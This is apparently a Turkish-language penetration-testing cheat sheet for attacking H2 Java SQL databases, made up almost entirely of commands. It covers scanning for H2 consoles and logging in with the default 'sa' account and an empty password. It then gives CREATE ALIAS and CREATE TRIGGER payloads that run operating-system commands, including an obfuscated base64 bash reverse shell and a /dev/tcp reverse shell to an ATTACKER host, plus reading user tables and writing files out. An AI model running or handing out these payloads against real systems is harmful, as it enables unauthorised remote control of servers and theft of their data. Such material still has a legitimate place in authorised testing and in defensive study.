H2 - Java SQL database
network rce
H2 gömülü Java SQL DB’dir. Web konsolu veya JDBC erişimi varsa
CREATE ALIAS / trigger ile JVM komut çalıştırma klasik yoldur.
Metodoloji
Section titled “Metodoloji”-
H2 konsol portunu (sık 8082) ve JDBC URL’ini bul.
-
Varsayılan veya uygulama credential’ı ile bağlan.
-
Java alias / trigger ile RCE PoC çalıştır.
-
Shell veya dosya okuma kanıtı al.
nmap -Pn -sV -p8082,9092 TARGETcurl -skI http://TARGET:8082/ffuf -u http://TARGET:FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200 -e .jsp/h2-console /h2/ JDBC: jdbc:h2:mem: jdbc:h2:tcp://Konsol login
Section titled “Konsol login”Driver: org.h2.DriverJDBC URL: jdbc:h2:mem:testdbUser: saPassword: (boş) veya uygulama secret'ıcurl -sk 'http://TARGET:8082/h2-console/login.do' -d 'driver=org.h2.Driver&url=jdbc:h2:mem:test&user=sa&password='RCE — CREATE ALIAS
Section titled “RCE — CREATE ALIAS”CREATE ALIAS EXEC AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';CALL EXEC('id');CALL EXEC('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUi80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}');RCE — TRIGGER
Section titled “RCE — TRIGGER”CREATE TRIGGER SHELL BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER/443 0>&1"}$$.exec();$$;SELECT * FROM INFORMATION_SCHEMA.TABLES LIMIT 1;JDBC client
Section titled “JDBC client”java -cp h2*.jar org.h2.tools.Shell -url 'jdbc:h2:tcp://TARGET:9092/~/test' -user sa -password ''# uygulama datasource URL sızıntısı (env, .properties, actuator)Dosya / bilgi
Section titled “Dosya / bilgi”SELECT * FROM INFORMATION_SCHEMA.USERS;CALL CSVWRITE('/tmp/out.csv', 'SELECT * FROM INFORMATION_SCHEMA.TABLES');Checklist
Section titled “Checklist”[ ] H2 konsol/JDBC bulundu[ ] sa veya app cred ile login[ ] CREATE ALIAS / TRIGGER RCE[ ] Reverse shell veya komut çıktısı kanıtı